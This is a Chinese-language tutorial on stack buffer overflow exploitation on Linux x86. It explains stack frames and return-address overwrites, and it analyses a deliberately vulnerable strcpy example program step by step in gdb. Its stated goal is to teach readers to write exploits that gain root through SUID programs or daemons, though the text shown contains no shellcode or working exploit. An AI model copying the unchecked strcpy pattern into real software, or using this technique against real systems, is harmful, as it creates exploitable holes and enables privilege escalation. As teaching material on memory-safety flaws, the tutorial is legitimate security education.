by 黑猫 (virtualcat@hotmail.com)
内容: 本文主要讲解有关Buffer Overflow的原理, 以及结合实战范例介绍Linux和Solaris下的漏洞利用.
本文并不介绍如何编写shell code.
要求: 读者要有一点C和汇编语言基础.
目标: 希望本文能够尽量做到通熟易懂,使得稍有计算机基础知识的朋友看后能够亲自动手写自己的Exploit
如果你觉得自己对这些都懂了, 就请不要再往下看了.
第一部份 概述篇
1. Buffer overflow是如何产生的?
所谓Buffer overflow, 中文译为缓冲区溢出. 顾名思意, 就是说所用的缓冲区太小了, 以至装不下
那么多的东西, 多出来的东西跑出来了. 就好象是水缸装不了那么多的水, 硬倒太多会溢出来一样;)
那么, 在编程过程中为什么要用到buffer(缓冲区)呢? 简单的回答就是做为数据处理的中转站.
2. UNIX下C语言函数调用的机制及缓冲区溢出的利用.
1) 进程在内存中的影像.
我们假设现在有一个程序, 它的函数调用顺序如下.
main(...) -> func_1(...) -> func_2(...) -> func_3(...)
即: 主函数main调用函数func_1; 函数func_1调用函数func_2; 函数func_2调用函数func_3
当程序被操作系统调入内存运行, 其相对应的进程在内存中的影像如下图所示.
(内存高址)
+--------------------------------------+
| ...... | ... 省略了一些我们不需要关心的区
+--------------------------------------+
| env strings (环境变量字串) | \
+--------------------------------------+ \
| argv strings (命令行字串) | \
+--------------------------------------+ \
| env pointers (环境变量指针) | SHELL的环境变量和命令行参数保存区
+--------------------------------------+ /
| argv pointers (命令行参数指针) | /
+--------------------------------------+ /
| argc (命令行参数个数) | /
+--------------------------------------+
| main 函数的栈帧 | \
+--------------------------------------+ \
| func_1 函数的栈帧 | \
+--------------------------------------+ \
| func_2 函数的栈帧 | \
+--------------------------------------+ \
| func_3 函数的栈帧 | Stack (栈)
+......................................+ /
| | /
...... /
| | /
+......................................+ /
| Heap (堆) | /
+--------------------------------------+
| Uninitialised (BSS) data | 非初始化数据(BSS)区
+--------------------------------------+
| Initialised data | 初始化数据区
+--------------------------------------+
| Text | 文本区
+--------------------------------------+
(内存低址)
这里需要说明的是:
i) 随着函数调用层数的增加, 函数栈帧是一块块地向内存低地址方向延伸的.
随着进程中函数调用层数的减少, 即各函数调用的返回, 栈帧会一块块地
被遗弃而向内存的高址方向回缩.
各函数的栈帧大小随着函数的性质的不同而不等, 由函数的局部变量的数目决定.
ii) 进程对内存的动态申请是发生在Heap(堆)里的. 也就是说, 随着系统动态分
配给进程的内存数量的增加, Heap(堆)有可能向高址或低址延伸, 依赖于不
同CPU的实现. 但一般来说是向内存的高地址方向增长的.
iii) 在BSS数据或者Stack(栈)的增长耗尽了系统分配给进程的自由内存的情况下,
进程将会被阻塞, 重新被操作系统用更大的内存模块来调度运行.
(虽然和exploit没有关系, 但是知道一下还是有好处的)
iv) 函数的栈帧里包含了函数的参数(至于被调用函数的参数是放在调用函数的栈
帧还是被调用函数栈帧, 则依赖于不同系统的实现),
它的局部变量以及恢复调用该函数的函数的栈帧(也就是前一个栈帧)所需要的
数据, 其中包含了调用函数的下一条执行指令的地址.
v) 非初始化数据(BSS)区用于存放程序的静态变量, 这部分内存都是被初始化为零的.
初始化数据区用于存放可执行文件里的初始化数据.
这两个区统称为数据区.
vi) Text(文本区)是个只读区, 任何尝试对该区的写操作会导致段违法出错. 文本区
是被多个运行该可执行文件的进程所共享的. 文本区存放了程序的代码.
2) 函数的栈帧.
函数调用时所建立的栈帧包含了下面的信息:
i) 函数的返回地址. 返回地址是存放在调用函数的栈帧还是被调用函数的栈帧里,
取决于不同系统的实现.
ii) 调用函数的栈帧信息, 即栈顶和栈底.
iii) 为函数的局部变量分配的空间
iv) 为被调用函数的参数分配的空间--取决于不同系统的实现.
3) 缓冲区溢出的利用.
从函数的栈帧结构可以看出:
由于函数的局部变量的内存分配是发生在栈帧里的, 所以如果我们在某一个函数里定义
了缓冲区变量, 则这个缓冲区变量所占用的内存空间是在该函数被调用时所建立的栈帧里.
由于对缓冲区的潜在操作(比如字串的复制)都是从内存低址到高址的, 而内存中所保存
的函数调用返回地址往往就在该缓冲区的上方(高地址)--这是由于栈的特性决定的, 这
就为复盖函数的返回地址提供了条件. 当我们有机会用大于目标缓冲区大小的内容来向
缓冲区进行填充时, 就有可以改写函数保存在函数栈帧中的返回地址, 从而使程序的执
行流程随着我们的意图而转移. 换句话来说, 进程接受了我们的控制. 我们可以让进程
改变原来的执行流程, 去执行我们准备好的代码.
这是冯.诺曼计算机体系结构的缺陷.
下面是缓冲区溢出利用的示意图:
i) 函数对字串缓冲区的操作, 方向一般都是从内存低址向高址的.
如: strcpy(s, "AAA.....");
s s+1 s+2 s+3 ...
+---+---+---+--------+---+...+
(内存低址) | A | A | A | ...... | A |...| (内存高址)
+---+---+---+--------+---+...+
ii) 函数返回地址的复盖
/ | ...... | (内存高址)
/ +--------------------+
调用函数栈帧 | 0x41414141 |
\ +--------------------+
\ | 0x41414141 | 调用函数的返回地址
\+--------------------+
/| ...... |
/ +--------------------+ s+8
/ | 0x41414141 |
/ +--------------------+ s+4
被调用函数栈帧 | 0x41414141 |
\ +--------------------+ s
\ | 0x41414141 |
\ +--------------------+
\| ...... |
+....................+
| ...... | (内存低址)
注: 字符A的十六进制ASCII码值为0x41.
iii) 从上图可以看出: 如果我们用的是进程可以访问的某个地址而不是0x41414141
来改写调用函数的返回地址, 而这个地址正好是我们准备好的代码的入口, 那么
进程将会执行我们的代码. 否则, 如果用的是进程无法访问的段的地址, 将会导
致进程崩馈--Segment Fault Core dumped (段出错内核转储); 如果该地址处有
无效的机器指令数据, 将会导致非法指令(Illigal Instruction)错误, 等等.
4) 缓冲区在Heap(堆)区或BSS区的情况
i) 如果缓冲区的内存空间是在函数里通过动态申请得到的(如: 用malloc()函数申请), 那
么在函数的栈帧中只是分配了存放指向Heap(堆)中相应申请到的内存空间的指针. 这种
情况下, 溢出是发生在(Heap)堆中的, 想要复盖相应的函数返回地址, 看来几乎是不可
能的. 这种情况的利用可能性要看具体情形, 但不是不可能的.
ii) 如果缓冲区在函数中定义为静态(static), 则缓冲区内存空间的位置在非初始化(BSS)区,
和在Heap(堆)中的情况差不多, 利用是可能的. 但还有一种特姝情况, 就是可以利用它来
复盖函数指针, 让进程后来调用相应的函数变成调用我们所指定的代码.
3. 从缓冲区溢出的利用可以得到什么?
从上文我们看到, 缓冲区溢出的利用可以使我们能够改写相关内存的内容及函数的返回地址, 从而
改变代码的执行流程, 让进程去执行我们准备好的代码.
但是, 进程是以我们当前登录的用户身份来运行的. 能够执行我们准备好的代码又怎样呢? 我们还
是无法突破系统对当前用户的权限设置, 无法干超越权限的事.
换句话来说, 要想利用缓冲区溢出得到更高的权限, 我们还得利用系统的一些特性.
对于UNIX来讲, 有两个特性可以利用.
i) SUID及SGID程序
UNIX是允许其他用户可以以某个可执行文件的文件拥有者的用户ID或用户组ID的身份来执行该
文件的,这是通过设置该可执行文件的文件属性为SUID或SGID来实现的.
也就是说如果某个可执行文件被设了SUID或SGID, 那么当系统中其他用户执行该文件时就相当
于以该文件属主的用户或用户组身份来执行该文件.
如果某个可执行文件的属主是root, 而这个文件被设了SUID, 那么如果该可执行文件存在可利
用的缓冲区溢出漏洞, 我们就可以利用它来以root的身份执行我们准备好的代码. 没有比让它
为我们产生一个具有超级用户root身份的SHELL更吸引人了, 是不是?
ii) 各种端口守护(服务)进程
UNIX中有不少守护(服务)进程是以root的身份运行的, 如果这些程序存在可利用的缓冲区溢出,
那么我们就可以让它们以当前运行的用户身份--root去执行我们准备被好的代码.
由于守护进程已经以root的身份在运行, 我们并不需要相对应的可执行文件为SUID或SGID属性.
又由于此类利用通常是从远程机器上向目标机器上的端口发送有恶意的数据造成的, 所以叫做
"远程溢出"利用.
4. 一个有问题的程序
以下例程纯属虚构, 如有雷同, 纯属巧合.
/*
* 文件名 : p.c
* 编译 : gcc -o p p.c
*/
#include
void vulFunc(char* s)
{
char buf[10];
strcpy(buf, s);
printf("String=%s\n", buf);
}
main(int argc, char* argv[])
{
if(argc == 2)
{
vulFunc(argv[1]);
}
else
{
printf("Usage: %s \n", argv[0]);
}
}
这个例程接受用户在命令行的字串输入, 然后在标准输出(屏幕)上打印出来. 我们可以看出在
vulFunc()这个函数里, 定义了一个最多可以装十个字符的缓冲区buf. 如果我们在命令行输入
小于等于十个字符的字串, 则一切都很正常. 但是, 如果我们输入的字串长度大于十呢? 情况
会怎样? 缓冲区太小装不下了, 所以溢出了? 答案有待于具体分析一下才知道.
对于这个程序在不同操作系统下的分析和模拟攻击. 请看第二部份基楚篇
第二部份 基楚篇
5. Linux x86 平台
本文使用了如下Linux平台:
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-12 on an i586
所使用的编译器及版本:
bash$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
注意: 不同版本的编译器编译相同代码所生成的机器指令可能不同.
1) 例程p.c在Linux x86平台下的剖析.
i) 首先我们编译p.c并用gdb对相关函数进行反汇编
结果见如下清单:
bash$ gcc -o p p.c
bash$ gdb p
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x804842c : push %ebp
0x804842d : mov %esp,%ebp
0x804842f : cmpl $0x2,0x8(%ebp)
0x8048433 : jne 0x8048448
0x8048435 : mov 0xc(%ebp),%eax
0x8048438 : add $0x4,%eax
0x804843b : mov (%eax),%edx
0x804843d : push %edx
0x804843e : call 0x8048400
0x8048443 : add $0x4,%esp
0x8048446 : jmp 0x804845b
0x8048448 : mov 0xc(%ebp),%eax
0x804844b : mov (%eax),%edx
0x804844d : push %edx
0x804844e : push $0x80484bb
0x8048453 : call 0x8048330
0x8048458 : add $0x8,%esp
0x804845b : leave
0x804845c : ret
0x804845d : nop
0x804845e : nop
0x804845f : nop
End of assembler dump.
(gdb) disas vulFunc
Dump of assembler code for function vulFunc:
0x8048400 : push %ebp
0x8048401 : mov %esp,%ebp
0x8048403 : sub $0xc,%esp
0x8048406 : mov 0x8(%ebp),%eax
0x8048409 : push %eax
0x804840a : lea 0xfffffff4(%ebp),%eax
0x804840d : push %eax
0x804840e : call 0x8048340
0x8048413 : add $0x8,%esp
0x8048416 : lea 0xfffffff4(%ebp),%eax
0x8048419 : push %eax
0x804841a : push $0x80484b0
0x804841f : call 0x8048330
0x8048424 : add $0x8,%esp
0x8048427 : leave
0x8048428 : ret
0x8048429 : lea 0x0(%esi),%esi
End of assembler dump.
这里我们只对所关心的main和vulFunc两个函数进行反汇编分析.
ii) 进程的运行及其在内存中的情况分析
我们用gdb来跟踪看看进程是如何在内存中运行的.
首先把程序调入.
bash$ gdb p
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb)
把断点设到main的第一条可执行汇编指令上
(gdb) b *0x804842c
Breakpoint 1 at 0x804842c
运行程序
(gdb) r AAAAAAAA
Starting program: /home/vcat/p AAAAAAAA
Breakpoint 1, 0x804842c in main ()
在断点处停下来了.
看一下这时各寄存器的值
(gdb) i reg
eax 0x4010b3f8 1074836472
ecx 0x804842c 134513708
edx 0x4010d098 1074843800
ebx 0x4010c1ec 1074840044
esp 0xbffff6bc -1073744196
ebp 0xbffff6d8 -1073744168
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x804842c 134513708
eflags 0x246 582
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
cwd 0xffff037f -64641
swd 0xffff0000 -65536
twd 0xffffffff -1
fip 0x40034d70 1073958256
fcs 0x35d0023 56426531
fopo 0xbfffe400 -1073748992
fos 0xffff002b -65493
我们这里关心的是栈底(ebp), 栈顶(esp)及指令寄存器(eip).
此时, ebp的值为0xbffff6d8, esp的值为0xbffff6bc, 相差28个字节.
eip的值为0x804842c, 正好是我们所设的断点.
(注: 这里的值可能会随着程序运行在不同的系统环境而不同)
我们再看看当前栈帧里有什么内容?
(gdb) x/8x $esp
0xbffff6bc: 0x400349cb 0x00000002 0xbffff704 0xbffff710
0xbffff6cc: 0x40013868 0x00000002 0x08048350 0x00000000
也就是说, main函数刚被调用时进程在内存中的相关部份的影像是这样的:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- ebp (调用main函数前的ebp)
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704|
+--------+
|00000002|
+--------+
|400349cb|
0xbffff6bc +--------+ <-- esp (调用main函数前的esp)
| ...... |
(内存低址)
我们看看接下来的指令做了些什么?
0x804842c : push %ebp ; esp的值等于esp-4(因为ebp是32位);
; 把ebp的值放入esp所指的32位内存单
; 元(注: 这里保存栈底).
0x804842d : mov %esp,%ebp ; ebp的值等于esp的值(注: 这里把原来
; 的栈顶做为新的栈底).
运行这两条指令, 然后看一下寄存器内容和栈的情况.
(gdb) si
0x804842d in main ()
(gdb) si
0x804842f in main ()
(gdb) i reg
eax 0x4010b3f8 1074836472
ecx 0x804842c 134513708
edx 0x4010d098 1074843800
ebx 0x4010c1ec 1074840044
esp 0xbffff6b8 -1073744200
ebp 0xbffff6b8 -1073744200
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x804842f 134513711
eflags 0x346 838
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
cwd 0xffff037f -64641
swd 0xffff0000 -65536
twd 0xffffffff -1
fip 0x40034d70 1073958256
fcs 0x35d0023 56426531
fopo 0xbfffe400 -1073748992
fos 0xffff002b -65493
(gdb) x/9x $esp
0xbffff6b8: 0xbffff6d8 0x400349cb 0x00000002 0xbffff704
0xbffff6c8: 0xbffff710 0x40013868 0x00000002 0x08048350
0xbffff6d8: 0x00000000
此时进程的相关影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704|
+--------+
|00000002|
+--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8|
0xbffff6b8 +--------+ <-- ebp, esp
| ...... |
(内存低址)
接下来的两条指令:
0x804842f : cmpl $0x2,0x8(%ebp) ; 2和ebp+8所指向的内存(32位--4
; 个字节)里面所放的内容比较.
0x8048433 : jne 0x8048448 ; 如果不等则跳到0x08048448地址
; 处继续执行, 否则执行下条指令.
这里我们可以看到这是C语言语句
if(argc == 2)
{
...
}
else
{
...
}
的等价汇编语句. 内存地址ebp+8处存放的是argc的值.
(gdb) x/x $ebp+8
0xbffff6c0: 0x00000002
我们来看看在调用vulFunc函数前的指令:
0x8048435 : mov 0xc(%ebp),%eax ; 把内存地址ebp+12处的四个字节的
; 内容放到eax里.
0x8048438 : add $0x4,%eax ; eax等于eax+4.
0x804843b : mov (%eax),%edx ; 把eax指向的四个内存字节单元里
; 的内容赋给edx
0x804843d : push %edx ; esp等于esp-4, 把edx的值放到esp
; 所指的内存地址的四个字节单元里.
看看ebp+12处放的是什么?
(gdb) x/x $ebp+12
0xbffff6c4: 0xbffff704
怀疑这里放的是指向argv[0]字串的地址的地址, 看看是不是
(gdb) x/x 0xbffff704
0xbffff704: 0xbffff83e
(gdb) x/1s 0xbffff83e
0xbffff83e: "/home/vcat/p"
果然是. 那么$ebp+12的所指的四个字节的内容(argv[0]字串的地址)加上四, 应该就是指向
argv[1]字串的地址了.
(gdb) x/x 0xbffff704+4
0xbffff708: 0xbffff856
(gdb) x/1s 0xbffff856
0xbffff856: "AAAAAAAA"
可以看出, 这四条指令是用来计算argv[1](即所输入的字串"AAAAAAAA"在内存中的起始地址),
然后把该地址压入栈中做为参数传给即将被调用的函数vulFunc的.
设个断点在0x804843e, 让程序继续执行到调用vulFunc函数之前.
(gdb) b *0x804843e
Breakpoint 2 at 0x804843e
(gdb) c
Continuing.
(gdb) i reg
eax 0xbffff708 -1073744120
ecx 0x804842c 134513708
edx 0xbffff856 -1073743786
ebx 0x4010c1ec 1074840044
esp 0xbffff6b4 -1073744204
ebp 0xbffff6b8 -1073744200
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x804843e 134513726
eflags 0x282 642
(以下省略)
...
(gdb) x/10x $esp
0xbffff6b4: 0xbffff856 0xbffff6d8 0x400349cb 0x00000002
0xbffff6c4: 0xbffff704 0xbffff710 0x40013868 0x00000002
0xbffff6d4: 0x08048350 0x00000000
此时的进程在内存中的相关影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的开始地址
0xbffff6b4 +--------+ <-- main函数的esp
| ...... |
(内存低址)
单步执行
(gdb) si
0x8048400 in vulFunc ()
好, 现在进入vulFunc函数了.
(gdb) i reg
eax 0xbffff708 -1073744120
ecx 0x804842c 134513708
edx 0xbffff856 -1073743786
ebx 0x4010c1ec 1074840044
esp 0xbffff6b0 -1073744208
ebp 0xbffff6b8 -1073744200
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x8048400 134513664
eflags 0x382 898
(以下省略)
...
这时esp已经变为0xbffff6b0, 和以前的值0xbffff6b4比较相差四个字节.
我们来看看到底压了什么东西入栈.
(gdb) x/11x $esp
0xbffff6b0: 0x08048443 0xbffff856 0xbffff6d8 0x400349cb
0xbffff6c0: 0x00000002 0xbffff704 0xbffff710 0x40013868
0xbffff6d0: 0x00000002 0x08048350 0x00000000
原来是main函数里调用vulFunc函数的指令的后续指令的地址--即vulFunc函数的返回地址.
这是我们的第一个焦点.
...
0x804843e : call 0x8048400
0x8048443 : add $0x4,%esp
...
我们接着分析vulFunc函数.
0x8048400 : push %ebp
0x8048401 : mov %esp,%ebp
0x8048403 : sub $0xc,%esp ; esp等于esp-12, 栈帧大小增加12个字节.
前面两条指令的功能和main函数的一样, 用来保存调用函数栈帧的栈底ebp和设置被调用函
数栈帧栈底.
即: 保存调用函数的栈帧栈底, 调用函数栈帧的栈顶变为被调用函数的栈底. 可以看出当前
(被调用函数)的栈帧为空时, ebp和esp的值相等.
第三条指令在栈帧中分配了0xc(十二)个字节的内存空间, 注意到里面的内容是垃圾.
(gdb) si
0x8048401 in vulFunc ()
(gdb) si
0x8048403 in vulFunc ()
(gdb) si
0x8048406 in vulFunc ()
(gdb) x/15x $esp
0xbffff6a0: 0x4000ae60 0xbffff704 0xbffff6b8 0xbffff6b8
0xbffff6b0: 0x08048443 0xbffff856 0xbffff6d8 0x400349cb
0xbffff6c0: 0x00000002 0xbffff704 0xbffff710 0x40013868
0xbffff6d0: 0x00000002 0x08048350 0x00000000
此时进程在内存中相关的影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| vulFunc函数的返回地址
0xbffff6b0 +--------+ <-- 调用vulFunc函数前的esp
|bffff6b8| main函数的ebp
0xbffff6ac +--------+ <-- vulFunc函数的ebp
|bffff6b8| (垃圾)
0xbffff6a8 +--------+
|bffff704| (垃圾)
0xbffff6a4 +--------+
|4000ae60| (垃圾)
0xbffff6a0 +--------+ <-- vulFunc的当前esp
| ...... |
(内存低址)
再看看下面的四条指令.
0x8048406 : mov 0x8(%ebp),%eax ; 把ebp+8指向的内存单元(4字节)里
; 的内容赋给eax.
从上图看出vulFunc函数栈帧的ebp+8四字节内存单元里放的是指向"AAAAAAAA"字符串的起始地址.
0x8048409 : push %eax ; eax的值入栈.
把指向"AAAAAAAA"字符串的起始地址入栈.
0x804840a : lea 0xfffffff4(%ebp),%eax
哇! 好吓人呀! 这条指令是干什么的? 让我们慢慢来分析一下.
这条指令是把ebp+0xfffffff4做为地址值赋给eax.
但是ebp的值加上0xfffffff4指向那里呀, 这是我们要弄清楚的.
这里如果我们按正数来加, 那是不行的.
实际上这个十六进制的0xfffffff4所表示的是负数, 要知道它的值, 让我们来算一下.
F F F F F F F 4
+----+----+----+----+----+----+----+----+
|1111|1111|1111|1111|1111|1111|1111|0100|
+----+----+----+----+----+----+----+----+
取反
0 0 0 0 0 0 0 B
+----+----+----+----+----+----+----+----+
|0000|0000|0000|0000|0000|0000|0000|1011|
+----+----+----+----+----+----+----+----+
加一
0 0 0 0 0 0 0 C
+----+----+----+----+----+----+----+----+
|0000|0000|0000|0000|0000|0000|0000|1100|
+----+----+----+----+----+----+----+----+
也就是负的0xc. ebp+0xfffffff4, 即ebp-0xc.
所以ebp+0xfffffff4, 就是现在栈顶指向的那十二个字节的起始地址.
0x804840d : push %eax
接着把得到的地址入栈.
让程序运行到调用strcpy函数之前看看
(gdb) b *0x804840e
Breakpoint 3 at 0x804840e
(gdb) c
Continuing.
Breakpoint 3, 0x804840e in vulFunc ()
(gdb) x/17x $esp
0xbffff698: 0xbffff6a0 0xbffff856 0x4000ae60 0xbffff704
0xbffff6a8: 0xbffff6b8 0xbffff6b8 0x08048443 0xbffff856
0xbffff6b8: 0xbffff6d8 0x400349cb 0x00000002 0xbffff704
0xbffff6c8: 0xbffff710 0x40013868 0x00000002 0x08048350
0xbffff6d8: 0x00000000
这时进程在内存的相关影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| vulFunc函数的返回地址
0xbffff6b0 +--------+ <-- 调用vulFunc函数前的esp
|bffff6b8| main函数的ebp
0xbffff6ac +--------+ <-- vulFunc函数的ebp
|bffff6b8| (垃圾)
0xbffff6a8 +--------+
|bffff704| (垃圾)
0xbffff6a4 +--------+
|4000ae60| (垃圾)
0xbffff6a0 +--------+
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+ <-- vulFunc的当前esp
| ...... |
(内存低址)
我们这里不关心strcpy函数具体运行, 把断点设到调用它的后续指令.
(gdb) b *0x8048413
Breakpoint 4 at 0x8048413
(gdb) c
Continuing.
Breakpoint 4, 0x8048413 in vulFunc ()
(gdb) x/17x $esp
0xbffff698: 0xbffff6a0 0xbffff856 0x41414141 0x41414141
0xbffff6a8: 0xbffff600 0xbffff6b8 0x08048443 0xbffff856
0xbffff6b8: 0xbffff6d8 0x400349cb 0x00000002 0xbffff704
0xbffff6c8: 0xbffff710 0x40013868 0x00000002 0x08048350
0xbffff6d8: 0x00000000
这时进程在内存中的相关影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| vulFunc函数的返回地址
0xbffff6b0 +--------+ <-- 调用vulFunc函数前的esp
|bffff6b8| main函数的ebp
0xbffff6ac +--------+ <-- vulFunc函数的ebp
|bffff600|
0xbffff6a8 +--------+
|41414141|
0xbffff6a4 +--------+
|41414141|
0xbffff6a0 +--------+
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+ <-- vulFunc的当前esp
| ...... |
(内存低址)
我们注意到在vulFunc函数栈帧中所分配的那十二个字节, 从传递给strcpy函数的起始
地址处被我们所输入的八个'A'(十六进制0x41)填充了.
这是我们的第二个焦点.
同时也注意到, 内存地址0xbffff6a8所指向的四个字节的内容由原来的垃圾数据0xbffff6b8
变成了bffff600.
低字节的00应该就是字符串"AAAAAAAA"的零结尾字节.
所以得出结论: vulFunc函数栈帧中分配的那十二个字节是给局部变量buf(缓冲区)的.
这里会奇怪: 程序中buf缓冲区只定义了十个字节的大小, 为什么为它分配了十二个字
节? 原因是: 内存的分配是以四字节为单位的.所以十个字节(4+4+2)要用三个内存分
配单元, 3*4=12.
如果我们在命令行提供的字串长度为十(多两个字符, 刚好是程序中定义的缓冲区的大
小), 那么内存地址0xbffff6a8所指向的四个字节的内容将是bf004141; 如果增加到十
一个, 内存地址0xbffff6a8所指向的四个字节的内容为00414141, 刚好填满栈帧中分配
给buf的内存空间. 可以看出, 在命令行中提供的字串长度小于12, 程序是不会出错的.
现在让我们看看字串长度等于十二的情况, 这时0xbffff6a8所指向的四个字节的内存单
元已被41414141填满.0xbffff6ac所指向的四个字节的内存单元的低字节被00所填, 其内
容变为bffff600, 从上面的影像图可知: 这个内存单元里保存的是调用函数的ebp. 也就
是说, 当字串长度大于或等于十二时, 调用函数的ebp被复盖.
从进程的影像图可以看出, 要想全面复盖vulFunc函数的返回地址, 则字节串的长度至少
要二十(12+8)个字节.
我们继续分析后面的指令:
0x8048413 : add $0x8,%esp ; 栈帧缩小8个字节--放弃了两个内存存储单元.
可以看到, 在调用strcpy前, 依次压了s和buf的地址入栈, 现在这条指令是把这两个地址抛弃.
所以可以得出, Linux x86系统在调用函数时(其实是编译器所生成的机器指令), 所传给
被调用函数的参数是由调用函数从右到左依次入栈的.
如现在的strcpy(buf, s), 首先是s先入栈, 然后是buf. 参数的出栈也由调用函数负责.
0x8048416 : lea 0xfffffff4(%ebp),%eax
0x8048419 : push %eax
这两条指令和前面的一样, 把argv[1](即"AAAAAAAA"字串)的起始地址入栈.
0x804841a : push $0x80484b0
先看一下0x80484b0里面放的是什么, 虽然很明显是即将调用的printf函数的第一个参数的地址.
(gdb) x/1s 0x80484b0
0x80484b0 <_IO_stdin_used+4>: "String=%s\n"
果然是.
下面的两条指令就是调用printf函数和抛弃在栈中的两个参数了.
0x804841f : call 0x8048330
0x8048424 : add $0x8,%esp
我们在0x08048427 leave 指令的前面设个断点并继续运行.
(gdb) b *0x8048427
Breakpoint 5 at 0x8048427
(gdb) c
Continuing.
String=AAAAAAAA
Breakpoint 5, 0x8048427 in vulFunc ()
屏幕输出了"String=AAAAAAAA".
这时栈帧的内容为:
(gdb) x/15x $esp
0xbffff6a0: 0x41414141 0x41414141 0xbffff600 0xbffff6b8
0xbffff6b0: 0x08048443 0xbffff856 0xbffff6d8 0x400349cb
0xbffff6c0: 0x00000002 0xbffff704 0xbffff710 0x40013868
0xbffff6d0: 0x00000002 0x08048350 0x00000000
进程在内存中的相关影像为:
(内存高址)
| ...... |
+--------+
|00000000|
0xbffff6d8 +--------+ <-- 调用main函数前的ebp
|08048350|
+--------+
|00000002|
+--------+
|40013868|
+--------+
|bffff710|
+--------+
|bffff704| argv的地址(即argv[0]的地址)
0xbffff6c4 +--------+
|00000002| argc的值
0xbffff6c0 +--------+
|400349cb|
0xbffff6bc +--------+ <-- 调用main函数前的esp
|bffff6d8| 调用main函数前的ebp
0xbffff6b8 +--------+ <-- main函数的ebp
|bffff856| 字符串"AAAAAAAA"在内存中的起始地址
0xbffff6b4 +--------+
|08048443| vulFunc函数的返回地址
0xbffff6b0 +--------+ <-- 调用vulFunc函数前的esp
|bffff6b8| main函数的ebp
0xbffff6ac +--------+ <-- vulFunc函数的ebp
|bffff600|
0xbffff6a8 +--------+
|41414141|
0xbffff6a4 +--------+
|41414141|
0xbffff6a0 +--------+ <-- vulFunc的当前esp
|bffff856| (垃圾) 字符串"AAAAAAAA"在内存中的起始地址
0xbffff69c +--------+
|bffff6a0| (垃圾) vulFunc函数栈帧中分配的十二个字节起始地址
0xbffff698 +--------+
| ...... |
(内存低址)
各寄存器的状况:
(gdb) i reg
eax 0x10 16
ecx 0x400 1024
edx 0x4010a980 1074833792
ebx 0x4010c1ec 1074840044
esp 0xbffff6a0 -1073744224
ebp 0xbffff6ac -1073744212
esi 0x4000ae60 1073786464
edi 0xbffff704 -1073744124
eip 0x8048427 134513703
eflags 0x296 662
(以下省略)
...
